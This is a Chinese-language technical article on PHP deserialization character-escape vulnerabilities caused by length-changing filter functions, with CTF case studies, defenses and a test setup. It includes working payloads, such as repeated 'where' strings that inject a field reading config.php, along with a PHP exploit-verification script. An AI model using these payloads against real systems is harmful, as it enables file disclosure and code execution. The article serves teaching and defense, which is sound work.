当前位置: 首页 > news >正文

PHP 反序列化字符逃逸:filter函数替换导致长度变化的3种攻击场景分析

PHP反序列化字符逃逸:filter函数替换导致长度变化的攻击场景深度解析

1. 反序列化字符逃逸漏洞原理

PHP反序列化字符逃逸漏洞的本质在于序列化字符串经过过滤处理后,其实际长度与标注长度不一致,导致反序列化引擎错误解析数据结构。这种漏洞通常出现在以下场景:

  1. 序列化字符串格式:PHP序列化使用特定语法标注数据类型和长度,例如s:5:"hello"表示长度为5的字符串
  2. 过滤函数介入:在序列化后、反序列化前,数据经过过滤函数处理(如关键词替换、特殊字符转义)
  3. 长度不一致:过滤操作导致字符串实际长度变化,但序列化标注的长度未同步更新
// 典型漏洞代码结构 $data = unserialize(filter(serialize($_POST['data'])));

2. 三种典型攻击场景分析

2.1 字符增多场景(以piapiapia为例)

漏洞特征:过滤替换使字符串变长,通过精心构造payload挤出后续字段

案例分析

// class.php中的filter函数 public function filter($string) { $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); // where(5)→hacker(6) }

攻击步骤

  1. 计算需要逃逸的字符数(如";}s:5:"photo";s:10:"config.php";}共34字符)
  2. 构造34个where关键词(原始长度170,替换后204)
  3. 溢出部分会覆盖原序列化结构,注入恶意字段

Payload示例

nickname[]=wherewherewhere...where";}s:5:"photo";s:10:"config.php";}

2.2 字符减少场景(以安洵杯easy_serialize_php为例)

漏洞特征:过滤使字符串变短,通过吞掉后续字段实现注入

关键代码

function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); // 直接删除敏感词 }

利用方法

  1. 计算需要吞掉的字符数(如";s:8:"function";s:14:"highlight_file"共22字符)
  2. 构造包含22个过滤字符的payload(如phpphpphpphpphpphpflag
  3. 后续注入内容会成为新的序列化字段

2.3 混合替换场景

复合型漏洞:同时存在字符增多和减少的过滤规则

攻击策略

  1. 分析所有过滤规则对字符串长度的影响
  2. 计算净长度变化(增多-减少)
  3. 组合使用两种技术构造最终payload

3. 漏洞利用技术对比

场景类型长度变化典型CTF题目关键技巧
字符增多增加[0CTF 2016]piapiapia计算溢出字符数,数组绕过长度限制
字符减少减少[安洵杯2019]easy_serialize_php精确控制吞掉的字段,注意闭合语法
混合替换不定企业真实环境漏洞需综合计算净变化量,多次测试验证

4. 防御方案与最佳实践

安全编码建议

  1. 输入验证

    // 严格校验序列化数据格式 if (!preg_match('/^[a-z0-9]+$/i', $input)) { die('Invalid input'); }
  2. 处理顺序调整

    // 先过滤后序列化 $cleanData = filter($_POST['data']); $serialized = serialize($cleanData);
  3. 使用安全函数

    // 替代直接unserialize function safe_unserialize($str) { $data = @unserialize($str); if ($data === false && $str !== 'b:0;') { throw new Exception('Invalid serialized data'); } return $data; }
  4. 关键配置

    ; php.ini安全配置 allow_url_include = Off disable_functions = exec,system,passthru

5. 实战环境搭建与测试

本地测试环境配置

  1. Docker快速部署:
docker run -d -p 8080:80 --name piapiapia vulhub/php:5.6-apache docker cp piapiapia:/var/www/html/ www/
  1. 漏洞验证脚本:
<?php require 'class.php'; $user = new User(); // 构造恶意payload $payload = str_repeat('where', 34).'";}s:5:"photo";s:10:"config.php";}'; $_SESSION['username'] = 'test'; $_POST = [ 'phone' => '12345678901', 'email' => 'test@example.com', 'nickname' => [$payload], // 使用数组绕过长度检查 'photo' => ['name' => 'test.png', 'tmp_name' => '/tmp/test'] ]; // 模拟update操作 $profile = [ 'phone' => $_POST['phone'], 'email' => $_POST['email'], 'nickname' => $_POST['nickname'], 'photo' => 'upload/' . md5($_FILES['photo']['name']) ]; $user->update_profile($_SESSION['username'], serialize($profile)); // 验证漏洞 $profile = $user->show_profile($_SESSION['username']); var_dump(unserialize($profile)); ?>

6. 高级利用技巧

  1. 多级逃逸:当存在多个过滤层时,需要逐层计算长度变化
  2. 编码绕过:使用十六进制、Unicode等编码方式绕过关键词检测
  3. 对象注入:结合__wakeup、__destruct等魔术方法实现RCE
  4. PHAR利用:通过phar://协议触发反序列化
// 复杂payload构造示例 $pad = str_repeat('where', 34); $exploit = '";}s:5:"photo";s:10:"config.php";}'; $finalPayload = $pad.$exploit; // 使用SplFixedArray绕过类型检查 $arr = new SplFixedArray(2); $arr[0] = $finalPayload;

在实际渗透测试中,我曾遇到一个企业级应用的反序列化漏洞,通过组合字符增多和减少的技术,最终实现了从信息泄露到远程代码执行的完整攻击链。这提醒我们,任何看似微小的数据验证缺陷都可能成为系统安全的致命弱点。

http://www.jsqmd.com/news/1144323/

相关文章:

  • MySQL 条件汇总进阶:5 个复杂报表场景的 SUM(IF()) 与 GROUP BY 组合技巧
  • MySQL 8.0 数据清洗实战:3类异常值识别与 UPDATE/DELETE 批量处理
  • 全尺寸报告(Full Dimension Report)标准化编制与数字化指南
  • 微信小程序 globalData 监听:基于 Object.defineProperty 的 3 种实现方案对比
  • 7-Zip漏洞CVE-2024-38366:绕过Windows安全标记的压缩包攻击解析
  • Windows 11 22H2 双显卡排错指南:5步解决程序错误调用集显问题
  • Docker CE 24.0 在 CentOS 7/8 的 5 步安装与 3 步卸载完整流程
  • 作为一个给团队打绩效的人,我想说几句
  • Docker 26.0 安装后 5 项必做配置:镜像加速、用户组与存储驱动优化
  • 高德地图 JS API 2.0 海量标注优化:3500+数据下首屏加载提速4倍实战
  • PROPKA 3深度解析:蛋白质pKa预测的实战指南与算法原理
  • DALL·E 3 vs DALL·E 2 API 对比:3 大核心差异与 5 项成本/效果实测
  • KeenTune UI 可视化平台部署:AnolisOS 8 单机3步完成,算法调优过程可视化
  • CSS 颜色模块 Level 4 实战:3种现代颜色表示法(RGB/HSL/OKLCH)对比与应用
  • Mermaid图表工具:5分钟掌握文本绘图,告别拖拽式设计烦恼
  • Windows Server 安全与便利权衡:3种替代IE ESC的浏览器配置方案
  • macOS Ventura 13+ 系统“已损坏”报错:5 步完整排查与修复指南(含终端权限)
  • CVPR2022 MulT vs CVPR2025 TADFormer:多任务学习Transformer的3点演进剖析
  • YOLOv8 C2f 模块详解:从 CSP 到 4 种残差连接的梯度流优化
  • SQL Server 查询优化器揭秘:从关系代数到物理运算符的3层转换
  • Typora免费试用指南:下载安装与理性激活策略
  • Lua-协程
  • Jetson Orin Nano 上源码编译 ROS 2 Humble 实战指南
  • Windows 10/11 鼠标指针方案管理:从.inf安装到Cursors文件夹的2种部署方法对比
  • 36V转5V/3.3V稳压芯片推荐:80V耐压LDO与60V/80V降压DC-DC对比
  • GBDT vs XGBoost vs 随机森林:3 种集成模型在药物活性预测中的 R² 对比
  • Ubuntu 22.04/24.04 运行32位程序:4步安装i386架构库解决No such file or directory
  • ESXi 虚拟机 2 种删除方式对比:从清单移除 vs 从磁盘删除的 4 点差异
  • SQL Server 2022 备份与恢复实战:3种恢复模式下的完整/差异/日志备份策略对比
  • CSS ::before/::after 实战:5个场景解析 content 属性的 3 种高级用法